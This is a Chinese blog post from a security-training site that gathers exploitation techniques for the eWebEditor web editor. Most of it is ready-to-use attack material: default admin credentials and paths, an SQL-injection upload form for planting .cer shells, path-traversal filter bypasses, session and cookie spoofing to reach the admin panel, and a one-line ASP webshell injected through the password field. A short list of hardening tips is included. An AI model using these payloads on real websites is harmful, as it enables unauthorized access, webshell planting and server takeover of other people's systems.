Ewebeditor编辑器漏洞利用总结[史上最全]
  • 首页 > 网络安全培训
  • 作者:sunghost
  • 2016年9月1日 0:49 星期四
  • 浏览:7154 次
  • 字号:    
  • 评论:0 条
  • 字数:11631 个
  • 显示:1200px  1360px  1600px
  • 关灯  编辑
  • 时间:2016-9-1 0:49   浏览:7154  

    1、关键文件的名称和路径
    Admin_Login.asp 登录页面
    Admin_Default.asp 管理首页
    Admin_Style.asp
    Admin_UploadFile.asp
    Upload.asp
    Admin_ModiPwd.asp
    eWebEditor.asp
    db/ewebeditor.mdb 默认数据库路径
    默认用户名admin,密码admin,admin888
    一般用这个的默认后台的URL都是默认的:
    www.935la.com/admin/ewebeditor/login_admin.asp
    类似:
    www.935la.com/ewebeditor/login_admin.asp
    www.935la.com/admin/eweb/login_admin.asp
    www.935la.com/admin/editor/login_admin.asp
    而且账户和密码也基本都是默认的:admin admin(admin888)

    2、ewebeditor编辑器一般默认数据库路径是db/ewebeditor.mdb

    默认的后台路径是admin_login.asp
    建议最好检测下admin_style.asp文件是否可以直接访问

    3、遍历目录漏洞(具体如下):
    登陆编辑器---上传文件管理---选择样式目录(随便选一个目录)
    得到:
    ewebeditor/admin_uploadfile.asp?id=14
    在id=14后面添加&dir=..
    再加 &dir=../..
    &dir=../../../.. 看到整个网站文件了。

    4、当数据库被管理员修改为asp、asa后缀的时候,可以插一句话木马服务端进入数据库,然后一句话木马客户端连接拿下webshell。

    5、有的时候爆了数据库找不到后台地址,其实可以试试查看样式表,有没别人加入的asp、asa后缀样式表。
    还有的时候聪明的管理员也就是加“#”不妨社工试试。例如:db/#ewebeditor.asa、db/#ewebeditor.asp 、db/#ewebeditor.mdb。

    6、注入2.1.6ewebeditor编辑器。如下保存为html文件修改action,直接上传cer马。

    <H1>ewebeditor asp版 2.1.6 上传漏洞利用程序----</H1><br><br>
    <form action="http://127.1/e/upload.asp?action=save&type=IMAGE&style=luoye' union select S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt, [S_ImageExt]%2b'|cer',S_MediaExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl from ewebeditor_style where s_name='standard'and'a'='a" method=post name=myform enctype="multipart/form-data">
    <input type=file name=uploadfile size=100><br><br>
    <input type=submit value=Fuck>
    </form>

    7、ewebeditor2.7.0版本注入漏洞
    简单利用就是
    http://www.935la.com/ewebeditor/ewebeditor.asp?id=article_content&style=full_v200
    默认表名:eWebEditor_System默认列名:sys_UserName、sys_UserPass,然后利用穿山甲进行猜解,对此进行注入取得账号密码。

    8、有的时候管理员不让复制样式,但是你又看到有个样式被别人以前入侵修改了存在asa或者之类可以传shell,但是上传插入工具没有,又无法修改怎么办那?也许很多人说应该可以加工具栏,但是我就遇见过不让加的,这样我们可以利用ewebeditor里的upload.asp文件进行本地构造进行上传具体如下:
    在action下面
    <form action="" >
    <input type=file name=uploadfile size=1 style="width:100%" onchange="originalfile.value=this.value">
    <input type="submit" name="uploadfile" value="提交">
    <input type=hidden name=originalfile value="">
    </form>

    <input type="submit" name="uploadfile" value="提交"> 放在action后头
    ,适合用于在ewebeditor后台那个预览那里出来的 比如上传图片那里,有些时候上传页面弹不出来,就可以用upload.asp?action=save&type=ASA&style=test 这个本地来提交,不过这个东西还是要数据库里上传类型有ASA才可以传得上。

    9、还有种方式是最近坏客发现的
    利用WebEditor session欺骗漏洞,进入后台:
    漏洞文件:Admin_Private.asp
    漏洞语句:

    <%
    If Session("eWebEditor_User") = "" Then
    Response.Redirect "admin_login.asp"
    Response.End
    End If

    只判断了session,没有判断cookies和路径的验证问题。
    漏洞利用:
    新建一个amxking.asp内容如下:

    <%Session("eWebEditor_User") = "11111111"%>

    访问amxking.asp,再访问后台任何文件,for example:Admin_Default.asp

    面对此种威胁网站管理员应该做好如下的防范措施:
    1、使用了eWebEditor编辑器的网站,应及时修改该编辑器的默认数据库路径和后缀名,建议数据库多方几层目录,防止数据库被黑客非法下载
    2、修改编辑器后台登陆路径和默认的登陆用户名和密码,防止黑客进入后台管理界面
    3、对Upload.asp语句进行修改,防止黑客利用其上传ASP木马从而获得WEB权限
    4、及时对网站服务器IIS配置中的应用程序扩展名映射进行整理,确保其它类型的文件不能在服务器网站上运行
    ewebeditor 5.2 列目录漏洞

    出现漏洞的文件存在于ewebeditor/asp/browse.asp

    ASP/Visual Basic代码
    Function GetList()
    Dim s_List, s_Url
    s_List = ""
    Dim oFSO, oUploadFolder, oUploadFiles, oUploadFile, sFileName
    'Response.Write sCurrDir
    'On Error Resume Next
    Set oFSO = Server.CreateObject("Scripting.FileSystemObject")
    Set oUploadFolder = oFSO.GetFolder(Server.MapPath(sCurrDir))
    '注意一下sCurrDir变量,这个值等下我们可以用到
    If Err.Number>0 Then
    s_List = ""
    Exit Function
    End If

    If sDir <> "" Then
    If InstrRev(sDir, "/") > 1 Then
    s_Url= Left(sDir, InstrRev(sDir, "/") - 1)
    Else
    s_Url = ""
    End If

    s_List = s_List & "" & _
    "" & _
    ".." & _
    " " & _
    ""
    End If
    'Response.Write sDir&"!"&s_List

    Dim oSubFolder
    For Each oSubFolder In oUploadFolder.SubFolders
    'Response.Write oUploadFolder.SubFolders
    If sDir = "" Then
    s_Url = oSubFolder.Name
    Else
    s_Url = sDir & "/" & oSubFolder.Name
    End If
    s_List = s_List & "" & _
    "" & _
    "" & oSubFolder.Name & "" & _
    " " & _
    ""
    Next
    'Response.Write s_List

    Set oUploadFiles = oUploadFolder.Files

    For Each oUploadFile In oUploadFiles
    'Response.Write oUploadFile.Name
    sFileName = oUploadFile.Name
    If CheckValidExt(sFileName) = True Then
    '这行让人有点郁闷,检测了所有允许的文件后缀,如不允许就无法列出,不然就不只列出目录名和图片文件了
    If sDir = "" Then
    s_Url = sContentPath & sFileName
    Else
    s_Url = sContentPath & sDir & "/" & sFileName
    End If

    s_List = s_List & "" & _
    "" & FileName2Pic(sFileName) & "" & _
    "" & sFileName & "" & _
    "" & GetSizeUnit(oUploadFile.size) & "" & _
    ""
    End If
    Next
    Set oUploadFolder = Nothing
    Set oUploadFiles = Nothing
    'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url

    If sDir = "" Then
    s_Url = ""
    's_Url = "/"
    Else
    s_Url = "/" & sDir & ""
    's_Url = "/" & sDir & "/"
    End If

    s_List = s_List & ""
    s_List = HTML2JS(s_List)
    'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url
    s_List = "parent.setDirList(""" & s_List & """, """ & s_Url & """)"
    GetList = s_List
    End Function
    '如果没有下面这步检测的话,应该就可以列出目录中所有的文件了,有点郁闷..现在只能列出允许后缀的文件和目录名
    Function CheckValidExt(s_FileName)
    If sAllowExt = "" Then
    CheckValidExt = True
    Exit Function
    End If

    Dim i, aExt, sExt
    sExt = LCase(Mid(s_FileName, InStrRev(s_FileName, ".") + 1))
    CheckValidExt = False
    aExt = Split(LCase(sAllowExt), "|")
    For i = 0 To UBound(aExt)
    If aExt(i) = sExt Then
    CheckValidExt = True
    Exit Function
    End If
    Next
    End Function
    '我们顺着代码往下找,发现sCurrDir的值是通过下面的值得到的
    Sub InitParam()
    sType = UCase(Trim(Request.QueryString("type")))
    sStyleName = Trim(Request.QueryString("style"))

    Dim i, aStyleConfig, bValidStyle
    bValidStyle = False
    For i = 1 To Ubound(aStyle)
    aStyleConfig = Split(aStyle(i), "|||")
    If Lcase(sStyleName) = Lcase(aStyleConfig(0)) Then
    bValidStyle = True
    Exit For
    End If
    Next

    If bValidStyle = False Then
    OutScript("alert('Invalid Style.')")
    End If

    sBaseUrl = aStyleConfig(19)
    'nAllowBrowse = CLng(aStyleConfig(43))
    nAllowBrowse = 1

    If nAllowBrowse <> 1 Then
    OutScript("alert('Do not allow browse!')")
    End If

    sUploadDir = aStyleConfig(3)
    If Left(sUploadDir, 1) <> "/" Then
    Select Case sType
    Case "REMOTE"
    sUploadDir = "../../" & sUploadDir & "Image/"
    Case "FILE"
    sUploadDir = "../../" & sUploadDir & "Other/"
    Case "MEDIA"
    sUploadDir = "../../" & sUploadDir & "Media/"
    Case "FLASH"
    sUploadDir = "../../" & sUploadDir & "Flash/"
    Case Else
    sUploadDir = "../../" & sUploadDir & "Image/"
    End Select
    End If
    'sUploadDir =sUploadDir &"/"

    Select Case sBaseUrl
    Case "0"
    'sContentPath = aStyleConfig(23)
    Select Case sType
    Case "REMOTE"
    sContentPath = "../" & aStyleConfig(3) & "Image/"
    Case "FILE"
    sContentPath = "../" & aStyleConfig(3) & "Other/"
    Case "MEDIA"
    sContentPath = "../" & aStyleConfig(3) & "Media/"
    Case "FLASH"
    sContentPath = "../" & aStyleConfig(3) & "Flash/"
    Case Else
    sContentPath = "../" & aStyleConfig(3) & "Image/"
    End Select
    Case "1"
    sContentPath = RelativePath2RootPath(sUploadDir)
    Case "2"
    sContentPath = RootPath2DomainPath(RelativePath2RootPath(sUploadDir))
    End Select

    Select Case sType
    Case "REMOTE"
    sAllowExt = aStyleConfig(10)
    Case "FILE"
    sAllowExt = aStyleConfig(6)
    Case "MEDIA"
    sAllowExt = aStyleConfig(9)
    Case "FLASH"
    sAllowExt = aStyleConfig(7)
    Case Else
    sAllowExt = aStyleConfig(8)
    End Select

    sCurrDir = sUploadDir '注意这里,这个是得到了配置的路径地址
    sDir = Trim(Request("dir")) '得到dir变量
    sDir = Replace(sDir, "\", "/") '对dir变量进行过滤
    sDir = Replace(sDir, "../", "")
    sDir = Replace(sDir, "./", "")
    If sDir <> "" Then
    If CheckValidDir(Server.Mappath(sUploadDir & sDir)) = True Then
    sCurrDir = sUploadDir & sDir & "/"
    '重点就在这里了,看到没有,当sUploadDir & sDir存在的时候,sCurrDir就为sUploadDir & sDir的值了
    '虽然上面对sDir进行了过滤,不过我们完全可以跳过.具体利用st0p会在下面的利用中给出
    Else
    sDir = ""
    End If
    End If

    End Sub

    嘿嘿,看到这你应该明白了,其实就是对dir过滤的问题,我们完全可以构造特殊的值来跳过验证,这样就可以得到目录结构和显示设置文件中允许的文件后缀的文件了..
    利用方法如下
    http://www.st0p.org/ewebeditor/asp/browse.asp?style=standard650&dir=…././/..
    由于st0p测试的时候,上传目录是根目录下的uploadfile,通过上面的地址就可以得到根目录下的所有目录了.
    嘿嘿,如果你发现打开的时候显示的是空白,不要灰心,这就对了,直接查看源代码,看到了吗,里面就有你根目录的目录名字了.
    嘿嘿,他根目录下有个guest目录,我们通过下面的地址可以列出他下面的结构
    http://www.st0p.org/ewebeditor/asp/browse.asp?style=standard650&dir=…././/…././/guest
    然后我们也可以通过
    http://www.st0p.org/ewebeditor/asp/browse.asp?style=standard650&dir=…././/../…././/..
    可以往更上层跳,我测试的那个虚拟主机,得到的是www,logfile,datebase这三个目录.

    eWebEditorv5.5asp存在session欺骗漏洞!
    记得以前eWebEditor在线编辑器有个session欺骗漏洞没想到5.5版本也存在!

    代码如下:

    '登录检查
    Function ChkLogin()
    If session("editor_admin")="" Or IsNull(session("editor_admin")) Then
    PhilLogin()
    session.CodePage = session("PreCodePage")
    response.End
    End If
    End Function

    呵呵很明显和以前的版本漏洞一样!

    只是判断了session.

    利用方法:

    新建立个hkok8.asp内容为

    <%Session("editor_admin") = "admin"%>

    然后访问hkok8.asp 最后访问登陆文件.刷新ok进去了...

    要进行这种Session欺骗,必须有三个前提:

    1.进行欺骗的网页和被欺骗的网页必须位于同一个网站内.
    2.必须知道管理页面。
    3.必须知道Session变量以及它的限制条件。

    php版ewebeditor 3.8的漏洞

    php版本后台是调用../ewebeditor/admin/config.php,大家去看下源码就知道,在这里我说说利用方法:

    1 首先当然要找到登陆后台,默认是../eWebEditor/admin/login.php,进入后台后随便输入一个用户和密码,当然会提示出错了,必须是出错的时候,然后这时候你清空浏览器的url,然后输入javascript:alert(document.cookie=”adminuser=”+escape(”admin”));javascript:alert(document.cookie=”adminpass=”+escape(”admin”));javascript:alert(document.cookie=”admindj=”+escape(”1″));后三次回车,
    2 然后输入正常情况才能访问的文件../ewebeditor/admin/default.php就可以进后台了

    3 后面的利用和asp一样,新增样式修改上传,就ok了

    测试一下asp 2.8版本的,竟然一样可以用,爽,看来asp版的应该可以通杀(只测试2.8的,貌似2.8是最高版本的)
    aspx的版本../ewebeditor/admin/upload.aspx添好本地的cer的Shell文件,在浏揽器输入javascript:lbtnUpload.click();就能得到shell
    jsp的上传漏洞以及那个出了N久了,由于没有上传按钮,选择好要上传的shell,直接回车就可以了。

    10、eWebEditor 2.8 商业版插一句话木马
    影响版本:=>2.8 商业版
    攻击利用:
    登陆后台,点击修改密码---新密码设置为 1":eval request("h")'
    设置成功后访问http://www.935la.com/ewebeditor/asp/config.asp文件即可,一句话木马被写入到这个文件里面了。

    11、2.7以下的版本注入
    eWebEditor.asp?id=14&style=standard
    http://www.935la.com/eWebEditor/eWebEditor.asp?id=14&style=standard
    eweb默认的管理员表是:ewebeditor_system
    这个表下的默认两个列名为:sys_UserName和sys_userpass

    12、asp版 2.1.6 上传漏洞利用代码如下

    <H1>ewebeditor asp版 2.1.6 上传漏洞利用程序----</H1><br><br><form action="http://www.935la.com/eWebEdito/upload.asp?action=save&type=IMAGE&style=luoye' union select S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt, [S_ImageExt]%2b'|cer',S_MediaExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl from ewebeditor_style where s_name='standard'and'a'='a" method=postname=myformenctype="multipart/form-data"><input type=filename=uploadfilesize=100><br><br><input type=submitvalue=Fuck></form>

    13、ewebeditor 5.5 构造上传漏洞拿shell

    先访问这个地址:
    Editor/asp/upload.asp?action=save&type=image&style=popup&cusdir=sunghost.asp
    访问这个地址可以建立个sunghost.ASP的文件夹……
    再用这个html代码上传。
    <form action=”http://www.935la.com/Editor/asp/upload.asp?action=save&type=image&style=popup&cusdir=qing.asp” method=post name=myform enctype=”multipart/form-data”>
    <input type=file name=uploadfile size=100><br><br>
    <input type=submit value=upload>
    </form>
    本地提交了一个图片小马,返回空白页面,查看源码,得到小马路径。还是IIS解析漏洞~
    对6.X的也管用,对ASP。aspx。JSP。均管用。

    第2个漏洞就是:可以直接http://www.935la.com/ewebeditor/admin/upload.asp?id=16&d_viewmode=&dir=..构造跳转目录。可以跳转到网站根目录,如果目录级别高的话,dir=../../这样来跳转。

     您阅读这篇文章共花了: 
    二维码加载中...
    本文作者:sunghost      文章标题: Ewebeditor编辑器漏洞利用总结[史上最全]
    本文地址:http://www.935la.com/?post=228 百度未收录
    版权声明:若无注明,本文皆为“㊙️网络安全培训_网站建设培训_SEO优化培训_上科互联网络培训学院”原创,转载请保留文章出处。
      昵称   邮箱   主页